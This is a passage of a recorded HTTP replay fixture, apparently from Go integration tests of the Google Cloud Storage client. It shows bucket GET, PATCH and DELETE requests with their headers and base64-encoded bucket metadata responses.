] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJsYWJlbHMiOnsiZW1wdHkiOiIiLCJsMSI6InYxIn0sImxpZmVjeWNsZSI6eyJydWxlIjpbeyJhY3Rpb24iOnsic3RvcmFnZUNsYXNzIjoiTkVBUkxJTkUiLCJ0eXBlIjoiU2V0U3RvcmFnZUNsYXNzIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjEwLCJjcmVhdGVkQmVmb3JlIjoiMjAxNy0wMS0wMSIsImlzTGl2ZSI6ZmFsc2UsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTVVMVElfUkVHSU9OQUwiLCJTVEFOREFSRCJdLCJudW1OZXdlclZlcnNpb25zIjozfX0seyJhY3Rpb24iOnsidHlwZSI6IkRlbGV0ZSJ9LCJjb25kaXRpb24iOnsiYWdlIjozMCwiY3JlYXRlZEJlZm9yZSI6IjIwMTctMDEtMDEiLCJpc0xpdmUiOnRydWUsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTkVBUkxJTkUiXSwibnVtTmV3ZXJWZXJzaW9ucyI6MTB9fV19LCJsb2NhdGlvbiI6IlVTIiwibmFtZSI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInN0b3JhZ2VDbGFzcyI6Ik5FQVJMSU5FIiwidmVyc2lvbmluZyI6eyJlbmFibGVkIjp0cnVlfX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "926" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:56 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq6CjN9PjjzT3LmHxW_tU_ciQ1rahetoQGbX_gX8EC5il7tPJi2yxi5VZxnDNrp1h14b7Ix8tnvtkHufAyO1-lMRutdHK5GSzonff78Nm6KPAKN5fU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU2LjQwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1Ni40MDlaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOnRydWV9LCJsaWZlY3ljbGUiOnsicnVsZSI6W3siYWN0aW9uIjp7InR5cGUiOiJTZXRTdG9yYWdlQ2xhc3MiLCJzdG9yYWdlQ2xhc3MiOiJORUFSTElORSJ9LCJjb25kaXRpb24iOnsiYWdlIjoxMCwiY3JlYXRlZEJlZm9yZSI6IjIwMTctMDEtMDEiLCJpc0xpdmUiOmZhbHNlLCJtYXRjaGVzU3RvcmFnZUNsYXNzIjpbIk1VTFRJX1JFR0lPTkFMIiwiU1RBTkRBUkQiXSwibnVtTmV3ZXJWZXJzaW9ucyI6M319LHsiYWN0aW9uIjp7InR5cGUiOiJEZWxldGUifSwiY29uZGl0aW9uIjp7ImFnZSI6MzAsImNyZWF0ZWRCZWZvcmUiOiIyMDE3LTAxLTAxIiwiaXNMaXZlIjp0cnVlLCJtYXRjaGVzU3RvcmFnZUNsYXNzIjpbIk5FQVJMSU5FIl0sIm51bU5ld2VyVmVyc2lvbnMiOjEwfX1dfSwibGFiZWxzIjp7ImwxIjoidjEiLCJlbXB0eSI6IiJ9LCJzdG9yYWdlQ2xhc3MiOiJORUFSTElORSIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "f795b9adcb1b546e", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0002?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2872" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:56 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:23:56 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up2-mWQyRDbFSpF6U96vQpaBYr74NgiUWh3-KZnLWaFYnhQti1tgKWNtL15YgK8blaRSnzGeACPA6jNuM34yhr7bxztrdN2tobEQAzD5RVgzpqx14w" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU2LjQwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1Ni40MDlaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInZlcnNpb25pbmciOnsiZW5hYmxlZCI6dHJ1ZX0sImxpZmVjeWNsZSI6eyJydWxlIjpbeyJhY3Rpb24iOnsidHlwZSI6IlNldFN0b3JhZ2VDbGFzcyIsInN0b3JhZ2VDbGFzcyI6Ik5FQVJMSU5FIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjEwLCJjcmVhdGVkQmVmb3JlIjoiMjAxNy0wMS0wMSIsImlzTGl2ZSI6ZmFsc2UsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTVVMVElfUkVHSU9OQUwiLCJTVEFOREFSRCJdLCJudW1OZXdlclZlcnNpb25zIjozfX0seyJhY3Rpb24iOnsidHlwZSI6IkRlbGV0ZSJ9LCJjb25kaXRpb24iOnsiYWdlIjozMCwiY3JlYXRlZEJlZm9yZSI6IjIwMTctMDEtMDEiLCJpc0xpdmUiOnRydWUsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTkVBUkxJTkUiXSwibnVtTmV3ZXJWZXJzaW9ucyI6MTB9fV19LCJsYWJlbHMiOnsibDEiOiJ2MSIsImVtcHR5IjoiIn0sInN0b3JhZ2VDbGFzcyI6Ik5FQVJMSU5FIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "2ee3f84c4e4045fb", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0002?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:23:57 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UplJEr-Hxa3hDFT5ozLEHYhHfaxlYFpc9Vwm8AL831-w_7BBgxHjjEsU8Br_uLnLes0h9hz37iuE9V8uVZ2liHY7ZD4piNH31oyapjCtwyXrukIP94" - ] - }, - "Body": "" - } - }, - { - "ID": "16f19dbf8e206756", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:57 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:23:57 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqvp5XjvB8nhNuz-bTeN9OklTfiBGldYKkcY13JF6oUfpV0z_jwoEQD3B3Ss3wWpaSmZfePjo7fkkr-hP3jbrUazNHaqQliiHqOBSNmSoPmwJpzfOI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1NC42MTBaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "949f5ce411d6f672", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:58 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpVeVcmmuUyOt3Hbja89_Ewi6GRsJtRduqK93OT4Ys1aK5GqDWeGxyDbczUyRLeUYvZgtJzYLwVOOUszqAF4ipSXgZ1L_byd9cJ7ttVfQ_ceQBXxY4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1NC42MTBaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZ